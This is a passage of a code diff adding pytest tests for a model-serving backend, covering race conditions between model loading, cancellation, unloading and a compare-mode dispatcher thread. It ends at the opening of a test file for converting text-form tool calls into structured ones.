+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+    monkeypatch.setattr(
+        o, "_build_generate_cmd", lambda *a, **k: {"type": "generate", "request_id": "r1"}
+    )
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+
+    # Feed one gen_done so the consumer returns promptly.
+    def fake_consume(read_mailbox, drainer, **k):
+        mbox = o._mailboxes.get("r1")
+        if mbox is not None:
+            mbox.put({"type": "gen_done", "request_id": "r1"})
+        yield ""
+
+    monkeypatch.setattr(o, "_consume_token_stream", fake_consume)
+
+    list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert sent, "happy path must send the generate command"
+    assert o._mailboxes == {}, "mailbox popped in finally"
+
+
+# ----------------------------------------------------------------------------
+# load_model observes a cancel that discarded its loading marker -- item #4.
+# ----------------------------------------------------------------------------
+
+
+def test_load_model_aborts_when_cancelled_before_spawn(monkeypatch):
+    # Stop-loading during GPU placement discards the loading marker (cancel_load) with
+    # no child yet to kill. load_model must observe the removal and not spawn a worker
+    # that loads the model after /unload already reported it unloaded.
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+    o.loading_models = set()
+    o._proc = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None)
+    monkeypatch.setattr(
+        o, "_spawn_subprocess", lambda cfg: pytest.fail("must not spawn a worker after a cancel")
+    )
+
+    import utils.transformers_version as tv
+
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+
+    # cancel_load discards the marker while we resolve GPU placement.
+    def cancel_during_gpu(gpu_ids, **k):
+        o.loading_models.discard("m")
+        return ([0], "sel")
+
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", cancel_during_gpu)
+
+    class _Cfg:
+        identifier = "m"
+
+    ok = o.load_model(_Cfg())
+
+    assert ok is False
+    assert o.active_model_name is None
+    assert o.models == {}
+
+
+def test_load_model_proceeds_when_not_cancelled(monkeypatch):
+    # Guard against a false abort: an uncancelled load keeps its marker and spawns.
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+    o.loading_models = set()
+    o._proc = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None)
+
+    spawned = []
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: spawned.append(cfg))
+    monkeypatch.setattr(
+        o,
+        "_wait_response",
+        lambda t, timeout = 300.0: {"success": True, "model_info": {"identifier": "m"}},
+    )
+
+    import utils.transformers_version as tv
+
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel"))
+
+    class _Cfg:
+        identifier = "m"
+
+    ok = o.load_model(_Cfg())
+
+    assert ok is True
+    assert spawned, "uncancelled load must spawn a worker"
+    assert o.active_model_name == "m"
+
+
+def test_load_model_aborts_when_cancelled_during_spawn(monkeypatch):
+    # Stop-loading can land AFTER the pre-spawn marker recheck but while
+    # _spawn_subprocess is still creating the queues/process, so cancel_load's
+    # _shutdown_subprocess finds _proc not yet alive and no-ops. load_model must
+    # recheck the marker once the child exists and tear the orphaned worker down,
+    # instead of waiting for "loaded" and publishing a model /unload already
+    # reported as unloaded (a live subprocess nothing later reaps).
+    import types
+
+    from utils import transformers_version as tv
+
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+    o.loading_models = {"m"}
+    o._proc = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel"))
+
+    # The cancel lands during the spawn window: cancel_load already discarded the
+    # marker, but its teardown no-oped because _proc was not alive yet.
+    def spawn_then_cancel(cfg):
+        o.loading_models.discard("m")
+
+    monkeypatch.setattr(o, "_spawn_subprocess", spawn_then_cancel)
+
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(
+        o,
+        "_wait_response",
+        lambda t, timeout = 300.0: pytest.fail(
+            "must not wait for 'loaded' after a cancel during spawn"
+        ),
+    )
+
+    ok = o.load_model(types.SimpleNamespace(identifier = "m", gguf_variant = None))
+
+    assert ok is False
+    assert shutdown, "must tear the orphaned worker down"
+    assert o.active_model_name is None
+    assert o.models == {}
+    assert "m" not in o.loading_models
+
+
+# ----------------------------------------------------------------------------
+# /unload cancels a still-loading GGUF off the lifecycle gate -- item #1.
+# ----------------------------------------------------------------------------
+
+
+def test_unload_cancels_loading_gguf_off_gate(monkeypatch):
+    # A still-loading GGUF (is_active, not is_loaded) must be cancelled off the gate:
+    # /load holds the lifecycle gate for the whole load, so a gated unload would wait
+    # it out. Assert the gate is never entered and unload_model() runs.
+    import asyncio as _asyncio
+
+    import routes.inference as ri
+    from core.inference import llama_keepwarm
+
+    gate_entered = {"v": False}
+
+    class _Gate:
+        async def __aenter__(self):
+            gate_entered["v"] = True
+            return self
+
+        async def __aexit__(self, *a):
+            return False
+
+    class _LlamaBackend:
+        is_active = True
+        is_loaded = False
+        model_identifier = "gguf-model"
+
+        def __init__(self):
+            self.unloaded = False
+
+        def unload_model(self):
+            self.unloaded = True
+
+    llama = _LlamaBackend()
+
+    class _Unsloth:
+        def get_loading_model(self):
+            return None  # no Unsloth load in flight -> Unsloth fast path skipped
+
+    monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth())
+    monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate())
+    monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None)
+
+    req = ri.UnloadRequest(model_path = "gguf-model")
+    resp = _asyncio.run(ri.unload_model(req, current_subject = "s"))
+
+    assert getattr(resp, "status", None) == "unloaded"
+    assert llama.unloaded is True, "must cancel the loading GGUF via unload_model()"
+    assert gate_entered["v"] is False, "must handle the loading GGUF off the lifecycle gate"
+
+
+def test_unload_loaded_gguf_still_uses_gate(monkeypatch):
+    # Guard: an already-loaded GGUF (is_loaded True) is NOT caught by the off-gate
+    # fast path; it goes through the gate as before.
+    import asyncio as _asyncio
+
+    import routes.inference as ri
+    from core.inference import llama_keepwarm
+
+    gate_entered = {"v": False}
+
+    class _Gate:
+        async def __aenter__(self):
+            gate_entered["v"] = True
+            return self
+
+        async def __aexit__(self, *a):
+            return False
+
+    class _LlamaBackend:
+        is_active = True
+        is_loaded = True
+        model_identifier = "gguf-model"
+
+        def __init__(self):
+            self.unloaded = False
+
+        def unload_model(self):
+            self.unloaded = True
+
+    llama = _LlamaBackend()
+
+    class _Unsloth:
+        def get_loading_model(self):
+            return None
+
+    monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth())
+    monkeypatch.setattr(ri, "is_registered_native_path_label", lambda a, b: False)
+    monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate())
+    monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None)
+
+    req = ri.UnloadRequest(model_path = "gguf-model")
+    resp = _asyncio.run(ri.unload_model(req, current_subject = "s"))
+
+    assert getattr(resp, "status", None) == "unloaded"
+    assert llama.unloaded is True
+    assert gate_entered["v"] is True, "loaded GGUF unload must still take the gate"
+
+
+def test_unload_of_mismatched_loading_gguf_skips_off_gate_fast_path(monkeypatch):
+    # A still-loading GGUF X (is_active, not is_loaded) must NOT be torn down by the
+    # off-gate fast path when /unload names a DIFFERENT model Y. The single llama-server
+    # can only load one GGUF at a time, so this fast path is "stop loading THIS model";
+    # without a target check it fires for any in-flight GGUF and would abort an unrelated
+    # load (e.g. a second tab unloading Y kills the load of X). A mismatched target must
+    # fall through to the lifecycle gate (where, in production, it waits out X's /load and
+    # then no-ops) instead of taking the off-gate teardown.
+    import asyncio as _asyncio
+
+    import routes.inference as ri
+    from core.inference import llama_keepwarm
+
+    gate_entered = {"v": False}
+
+    class _Gate:
+        async def __aenter__(self):
+            gate_entered["v"] = True
+            return self
+
+        async def __aexit__(self, *a):
+            return False
+
+    class _LlamaBackend:
+        is_active = True
+        is_loaded = False
+        model_identifier = "gguf-X"
+
+        def __init__(self):
+            self.unloaded = False
+
+        def unload_model(self):
+            self.unloaded = True
+
+    llama = _LlamaBackend()
+
+    class _Unsloth:
+        def get_loading_model(self):
+            return None  # no Unsloth load in flight -> Unsloth fast path skipped
+
+    monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth())
+    monkeypatch.setattr(ri, "is_registered_native_path_label", lambda a, b: False)
+    monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate())
+    monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None)
+
+    req = ri.UnloadRequest(model_path = "gguf-Y")  # different from the loading model X
+    _asyncio.run(ri.unload_model(req, current_subject = "s"))
+
+    assert gate_entered["v"] is True, (
+        "a mismatched-target unload must not use the off-gate GGUF fast path; "
+        "it would cancel the wrong in-flight load"
+    )
+
+
+# ----------------------------------------------------------------------------
+# cancel_load clears its loading marker BEFORE tearing the subprocess down, so a
+# racing off-gate load_model observes the cancel during the shutdown window.
+# ----------------------------------------------------------------------------
+
+
+def test_cancel_load_clears_marker_before_shutdown(monkeypatch):
+    # cancel_load runs off the lifecycle gate, concurrently with a load_model that
+    # rechecks the loading marker before each spawn to observe the cancel.
+    # _shutdown_subprocess can block (tearing a live child down / joining the compare
+    # dispatcher), so discarding the marker only AFTER it leaves a long window in which
+    # that load_model reads the marker still set, passes its pre-spawn recheck, and
+    # spawns + loads the model after /unload already reported it cancelled. The marker
+    # (and local state) must be cleared before the teardown.
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = "m"
+    o.models = {"m": {}}
+
+    at_shutdown = {}
+
+    def record_shutdown(timeout = 5):
+        at_shutdown["marker_present"] = "m" in o.loading_models
+        at_shutdown["active"] = o.active_model_name
+        at_shutdown["models"] = dict(o.models)
+
+    monkeypatch.setattr(o, "_shutdown_subprocess", record_shutdown)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("cancel_load must not send a worker command")
+    )
+
+    assert o.cancel_load("m") is True
+    assert at_shutdown.get("marker_present") is False, (
+        "the loading marker must be cleared before _shutdown_subprocess so a concurrent "
+        "load_model pre-spawn recheck observes the cancel during the shutdown window"
+    )
+    assert at_shutdown.get("active") is None
+    assert at_shutdown.get("models") == {}
+    assert "m" not in o.loading_models
+    assert o.active_model_name is None
+    assert o.models == {}
+
+
+def test_cancel_load_reclears_state_when_racing_load_repopulates_during_teardown(monkeypatch):
+    # cancel_load (off the lifecycle gate) can race a load_model whose worker already
+    # queued its successful "loaded" reply. cancel_load discards the loading marker and
+    # clears the local mirrors, then tears the subprocess down; but the still-running
+    # load_model thread can consume that "loaded" DURING the teardown window and repopulate
+    # active_model_name/models. _shutdown_subprocess nulls the queues but never touches those
+    # mirrors, so without a second clear /unload reports success while the backend keeps
+    # advertising a model whose worker was just killed. cancel_load must re-clear after the
+    # teardown so no phantom loaded model survives.
+    import types
+
+    from utils import transformers_version as _tv
+
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    o.models = {}
+    o._proc = None  # no prior subprocess -> load_model goes straight to the spawn loop
+
+    monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {}))
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None)
+
+    parked = threading.Event()  # load_model is parked in _wait_response("loaded")
+    release_loaded = threading.Event()  # cancel_load lets the load consume "loaded"
+    load_done = threading.Event()
+
+    def blocking_wait_response(expected, timeout = 300.0):
+        parked.set()
+        assert release_loaded.wait(timeout = 5)
+        return {
+            "type": "loaded",
+            "success": True,
+            "model_info": {"identifier": "m", "display_name": "m"},
+        }
+
+    monkeypatch.setattr(o, "_wait_response", blocking_wait_response)
+
+    load_result: dict = {}
+
+    def run_load():
+        try:
+            load_result["ok"] = o.load_model(
+                types.SimpleNamespace(identifier = "m", gguf_variant = None)
+            )
+        except Exception as exc:  # noqa: BLE001
+            load_result["exc"] = exc
+        finally:
+            load_done.set()
+
+    loader = threading.Thread(target = run_load)
+    loader.start()
+    assert parked.wait(timeout = 5), "load_model must reach _wait_response"
+
+    # The teardown IS the window in which the racing load repopulates the mirrors: the
+    # marker is already discarded here, so release the load and wait for it to finish
+    # repopulating, mirroring the 0.5s cancel-settle inside the real _shutdown_subprocess.
+    def racing_shutdown(timeout = 0.5):
+        release_loaded.set()
+        assert load_done.wait(timeout = 5), "the racing load must repopulate during teardown"
+
+    monkeypatch.setattr(o, "_shutdown_subprocess", racing_shutdown)
+
+    assert o.cancel_load("m") is True
+    loader.join(timeout = 5)
+
+    # Fail-without: load_model set active_model_name/models during racing_shutdown and
+    # cancel_load left them set, so the backend advertises a model whose worker was killed.
+    assert o.active_model_name is None, "cancel_load must not leave a repopulated active model"
+    assert o.models == {}, "cancel_load must not leave a repopulated models mirror"
+    assert "m" not in o.loading_models
+
+
+# ----------------------------------------------------------------------------
+# A dispatched (compare-mode) request that starts the dispatcher and then bails on
+# a racing unload must stop the dispatcher it started, or that orphaned dispatcher
+# steals the worker's "unloaded" reply and hangs unload_model on its 300s timeout.
+# ----------------------------------------------------------------------------
+
+
+def test_dispatched_bail_stops_orphan_dispatcher_it_started(monkeypatch):
+    # The request passes the pre-work _unload_pending check and starts the dispatcher
+    # (none was running), then an unload sets _unload_pending so the under-lock recheck
+    # bails. The just-started dispatcher, left running with no mailboxes, competes with
+    # unload_model()'s _wait_response for the worker's "unloaded" reply off the shared
+    # resp_queue and drops it as unroutable, hanging the unload until its 300s timeout.
+    # The bail must stop the dispatcher it started.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = None  # none running -> this call starts it
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+
+    started = {"v": False}
+    stopped = {"v": False}
+
+    def fake_start():
+        started["v"] = True
+        o._dispatcher_thread = _AliveDispatcher()
+        return True  # _start_dispatcher returns True for the caller that spawned it
+
+    def fake_stop():
+        stopped["v"] = True
+        o._dispatcher_thread = None
+
+    monkeypatch.setattr(o, "_start_dispatcher", fake_start)
+    monkeypatch.setattr(o, "_stop_dispatcher", fake_stop)
+
+    # An unload flips _unload_pending after the pre-work check but before registration.
+    def flip(*a, **k):
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert started["v"], "this call started the dispatcher"
+    assert stopped["v"], "the bail must stop the dispatcher it started (no other mailboxes)"
+    assert o._mailboxes == {}
+
+
+def test_dispatched_bail_keeps_dispatcher_with_other_active_mailbox(monkeypatch):
+    # Guard against over-stopping: if another compare request registered a mailbox on the
+    # dispatcher this call started, the bail must NOT stop it, or that request's token
+    # routing dies mid-stream.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_start_dispatcher", lambda: setattr(o, "_dispatcher_thread", _AliveDispatcher())
+    )
+    monkeypatch.setattr(
+        o,
+        "_stop_dispatcher",
+        lambda: pytest.fail("must not stop a dispatcher another compare request is using"),
+    )
+
+    # A concurrent compare request registers its mailbox, then an unload flips the flag.
+    def flip(*a, **k):
+        o._mailboxes["other"] = object()
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert set(o._mailboxes) == {"other"}, "the other request's mailbox is untouched"
+
+
+def test_dispatched_bail_keeps_preexisting_dispatcher(monkeypatch):
+    # Guard: if the dispatcher was already running before this request (an earlier compare
+    # request started it), a bail must not stop it even with no mailboxes now -- this
+    # request did not start it and another may re-use it. Only the call that starts an
+    # otherwise-idle dispatcher during the race is responsible for stopping it.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()  # already running
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+    monkeypatch.setattr(
+        o, "_stop_dispatcher", lambda: pytest.fail("must not stop a pre-existing dispatcher")
+    )
+
+    def flip(*a, **k):
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+
+
+# ----------------------------------------------------------------------------
+# load_model rechecks the loading marker AFTER _wait_response("loaded") and
+# BEFORE publishing -- item #6. cancel_load's post-teardown re-clear only wipes a
+# repopulation that lands during its shutdown; a publish that lands after
+# cancel_load returns survives it, so the recheck must abort the publish itself.
+# ----------------------------------------------------------------------------
+
+
+def test_load_model_aborts_publish_when_cancelled_after_wait_response(monkeypatch):
+    # cancel_load (off the lifecycle gate) discards the loading marker BEFORE its teardown
+    # and re-clears the mirrors AFTER it. A racing load_model can consume its worker's
+    # already-queued "loaded" reply and reach the publish block only AFTER cancel_load has
+    # fully returned -- so cancel_load's post-teardown re-clear cannot undo that publish.
+    # Without a marker recheck between _wait_response("loaded") and the publish, load_model
+    # advertises active_model_name/models for a model /unload already reported cancelled,
+    # over a subprocess cancel_load just killed. The recheck must observe the discarded
+    # marker and abort the publish.
+    import types
+
+    from utils import transformers_version as _tv
+
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    o.models = {}
+    o._proc = None  # no prior subprocess -> load_model goes straight to the spawn loop
+
+    monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {}))
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None)
+    # cancel_load tears the worker down; a no-op keeps the test off real subprocesses.
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: None)
+
+    parked = threading.Event()  # load_model reached _wait_response("loaded")
+    cancel_done = threading.Event()  # cancel_load fully returned (marker discarded + re-clear)
+    load_done = threading.Event()
+
+    def blocking_wait_response(expected, timeout = 300.0):
+        parked.set()
+        # Do not consume "loaded" until cancel_load has fully returned, so the publish
+        # would land AFTER cancel_load's post-teardown re-clear -- the window the
+        # re-clear alone cannot cover.
+        assert cancel_done.wait(timeout = 5)
+        return {
+            "type": "loaded",
+            "success": True,
+            "model_info": {"identifier": "m", "display_name": "m"},
+        }
+
+    monkeypatch.setattr(o, "_wait_response", blocking_wait_response)
+
+    load_result: dict = {}
+
+    def run_load():
+        try:
+            load_result["ok"] = o.load_model(
+                types.SimpleNamespace(identifier = "m", gguf_variant = None)
+            )
+        except Exception as exc:  # noqa: BLE001
+            load_result["exc"] = exc
+        finally:
+            load_done.set()
+
+    loader = threading.Thread(target = run_load)
+    loader.start()
+    assert parked.wait(timeout = 5), "load_model must reach _wait_response"
+
+    # cancel_load runs to completion while the load is parked: it discards the marker and
+    # re-clears the mirrors (post-teardown), then returns. Only then let the load consume
+    # "loaded" and attempt to publish.
+    assert o.cancel_load("m") is True
+    cancel_done.set()
+
+    loader.join(timeout = 5)
+    assert load_done.is_set()
+
+    # Fail-without: load_model published active_model_name/models for 'm' AFTER cancel_load
+    # returned, advertising a cancelled model over a killed subprocess.
+    assert load_result.get("ok") is False, "the cancelled load must not report success"
+    assert o.active_model_name is None, "must not publish a cancelled model's active name"
+    assert o.models == {}, "must not publish a cancelled model's mirror"
+    assert "m" not in o.loading_models
+
+
+# ----------------------------------------------------------------------------
+# Concurrent compare-mode requests must not each spawn a dispatcher. Compare mode
+# (_generate_dispatched) deliberately bypasses _gen_lock, so two requests can reach
+# _start_dispatcher at once. Without _dispatcher_lifecycle_lock the check-then-spawn
+# races: both observe no live dispatcher and each start one. The extra dispatcher is
+# orphaned (self._dispatcher_thread tracks only the last) and later consumes the
+# "unloaded" reply off the shared resp_queue before unload_model's _wait_response,
+# hanging the unload on its 300s timeout. The lifecycle lock must serialize the
+# check-then-spawn so exactly one dispatcher thread is ever created.
+# ----------------------------------------------------------------------------
+
+
+def test_concurrent_start_dispatcher_spawns_exactly_one():
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()  # real queue so the dispatcher loop blocks and stays alive
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+
+    n = 32
+    # A barrier aligns every thread on the check-then-spawn window: without the lifecycle
+    # lock several would clear the "is a dispatcher alive?" check together and each spawn one.
+    barrier = threading.Barrier(n)
+    results: list = []
+    results_lock = threading.Lock()
+
+    def racer():
+        barrier.wait()
+        started = o._start_dispatcher()
+        with results_lock:
+            results.append(started)
+
+    threads = [threading.Thread(target = racer, name = f"racer-{i}") for i in range(n)]
+    for t in threads:
+        t.start()
+    for t in threads:
+        t.join(timeout = 5)
+
+    try:
+        # _start_dispatcher returns True only for the caller that actually spawned a thread.
+        # Exactly one caller may win; every other must observe the dispatcher alive and bail.
+        assert results.count(True) == 1, f"expected exactly one spawn, got {results.count(True)}"
+        assert results.count(False) == n - 1
+        # And exactly one live dispatcher thread exists -- no orphan racing resp_queue.
+        live = [
+            t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()
+        ]
+        assert len(live) == 1, f"expected one live dispatcher, found {len(live)}"
+        assert o._dispatcher_thread is live[0]
+    finally:
+        o._stop_dispatcher()
+
+    # Stop joins and clears it; no dispatcher thread must survive.
+    assert o._dispatcher_thread is None
+    remaining = [
+        t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()
+    ]
+    assert remaining == [], "dispatcher must be stopped and joined"
+
+
+# ----------------------------------------------------------------------------
+# A compare request whose _start_dispatcher is queued behind an unload's
+# _stop_dispatcher must NOT spawn a fresh dispatcher. The idle-dispatcher stop
+# and the queued start both serialize on _dispatcher_lifecycle_lock; if the
+# queued start spawned a new dispatcher after the stop, it would become the
+# resp_queue reader and consume unload_model's "unloaded" reply (unroutable, so
+# dropped) before _wait_response saw it -- hanging the unload on its 300s
+# timeout. unload_model sets _unload_pending under the SAME lifecycle lock ahead
+# of the stop, so _start_dispatcher observes it and refuses.
+# ----------------------------------------------------------------------------
+
+
+def test_start_dispatcher_refuses_while_unload_pending():
+    # Direct unit guard: with an unload in progress (_unload_pending set under the
+    # lifecycle lock by unload_model), _start_dispatcher must refuse and spawn nothing,
+    # even though no dispatcher is currently running.
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()  # a spawned dispatcher would block-read here and stay alive
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = True
+
+    started = o._start_dispatcher()
+
+    assert started is False, "must not start a dispatcher while an unload is pending"
+    assert o._dispatcher_thread is None, "no dispatcher thread may be created"
+    live = [t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()]
+    assert live == [], "no dispatcher may exist to consume the unloaded reply"
+
+
+def test_start_dispatcher_resumes_after_unload_clears():
+    # Guard the other direction: once the unload finishes and clears _unload_pending, a
+    # later compare request must be able to start the dispatcher again (the gate must not
+    # wedge). Proves the refusal above is scoped to the unload, not permanent.
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = False
+
+    try:
+        assert (
+            o._start_dispatcher() is True
+        ), "a fresh dispatcher must start once no unload is pending"
+        assert o._dispatcher_thread is not None and o._dispatcher_thread.is_alive()
+    finally:
+        o._stop_dispatcher()
+
+    assert o._dispatcher_thread is None
+
+
+def test_queued_start_behind_unload_stop_spawns_no_dispatcher():
+    # Codex's exact ordering, forced deterministically: an unload holds
+    # _dispatcher_lifecycle_lock across its _stop_dispatcher (the idle dispatcher's join
+    # is gated by an event), while a compare request's _start_dispatcher is queued behind
+    # it on the same lock. When the stop releases the lock the queued start must observe
+    # _unload_pending (set under the lock ahead of the stop) and refuse: no fresh
+    # dispatcher may be left running to steal the "unloaded" reply.
+    import queue as _queue
+
+    o = _bare_orchestrator()
+    o._resp_queue = _queue.Queue()  # a spawned dispatcher would block-read here and stay alive
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = False
+
+    start_queued = threading.Event()  # release the stop's join once the start is queued behind it
+    join_may_finish = threading.Event()
+
+    class _IdleDispatcher:
+        # Stand-in for the idle compare-mode dispatcher the unload stops. Its join blocks
+        # until we confirm the compare _start_dispatcher is queued behind the stop, so the
+        # stop provably holds _dispatcher_lifecycle_lock across that window.
+        def is_alive(self):
+            return True
+
+        def join(self, timeout = None):
+            assert start_queued.wait(timeout = 5), "compare start must queue behind the stop"
+            assert join_may_finish.wait(timeout = 5)
+
+    o._dispatcher_thread = _IdleDispatcher()
+
+    def unload_side():
+        # unload_model's sequence: set _unload_pending under the lifecycle lock, then stop
+        # the idle dispatcher (also under the lock, via _wait_dispatcher_idle).
+        with o._dispatcher_lifecycle_lock:
+            o._unload_pending = True
+        o._stop_dispatcher()
+
+    started_result = {}
+
+    def compare_side():
+        started_result["v"] = o._start_dispatcher()
+
+    u = threading.Thread(target = unload_side, name = "unload-side")
+    u.start()
+    # Let the unload set _unload_pending, enter _stop_dispatcher, and block in the gated join
+    # while holding the lifecycle lock.
+    time.sleep(0.2)
+
+    c = threading.Thread(target = compare_side, name = "compare-side")
+    c.start()
+    # Let the compare _start_dispatcher block on the lifecycle lock (queued behind the stop).
+    time.sleep(0.2)
+
+    start_queued.set()  # the start is now queued behind the stop
+    join_may_finish.set()  # let the stop's join complete and release the lock
+
+    u.join(timeout = 5)
+    c.join(timeout = 5)
+
+    assert started_result.get("v") is False, "the queued start must refuse while unloading"
+    assert o._dispatcher_thread is None, "the stop cleared it and the queued start spawned nothing"
+    live = [t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()]
+    assert live == [], "no fresh dispatcher may be left to consume the unloaded reply"
diff --git a/studio/backend/tests/test_passthrough_healing.py b/studio/backend/tests/test_passthrough_healing.py
new file mode 100644
index 0000000000..83bcc5864a
--- /dev/null
+++ b/studio/backend/tests/test_passthrough_healing.py
@@ -0,0 +1,1447 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Unit tests for core/inference/passthrough_healing.py: promoting text-form
+tool calls back into structured calls on the client-tool passthrough. The
+route-level wiring (OpenAI / Anthropic / Responses endpoints) is covered in
+their own endpoint test files; this file exercises the shared state machine
+and helpers directly.
+"""
+
+from __future__ import annotations
+
+import json
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+from core.inference.passthrough_healing import (  # noqa: E402
+    StreamToolCallHealer,
+    heal_gate,
+    heal_openai_message,
+    nudge_messages,
+    nudge_should_retry,
+    response_has_promotable_calls,
+)
+
+TOOLS = [
+    {"type": "function", "function": {"name": "Bash", "parameters": {}}},
+    {"type": "function", "function": {"name": "Read", "parameters": {}}},
+]
+
+BASH_COMMAND_TOOL = {
+    "type": "function",
+    "function": {
+        "name": "Bash",
+        "parameters": {
+            "type": "object",
+            "properties": {"command": {"type": "string"}},
+            "required": ["command"],
+        },
+    },
+}
+XML_BASH = '<tool_call>{"name":"Bash","arguments":{"cmd":"ls"}}</tool_call>'
+XML_UNDECLARED = '<tool_call>{"name":"Nuke","arguments":{}}</tool_call>'
+
+
+def _events_text(events):
+    return "".join(text for kind, text in events if kind == "text")
+
+
+def _events_calls(events):
+    return [call for kind, call in events if kind == "tool_call"]
+
+
+class TestHealGate:
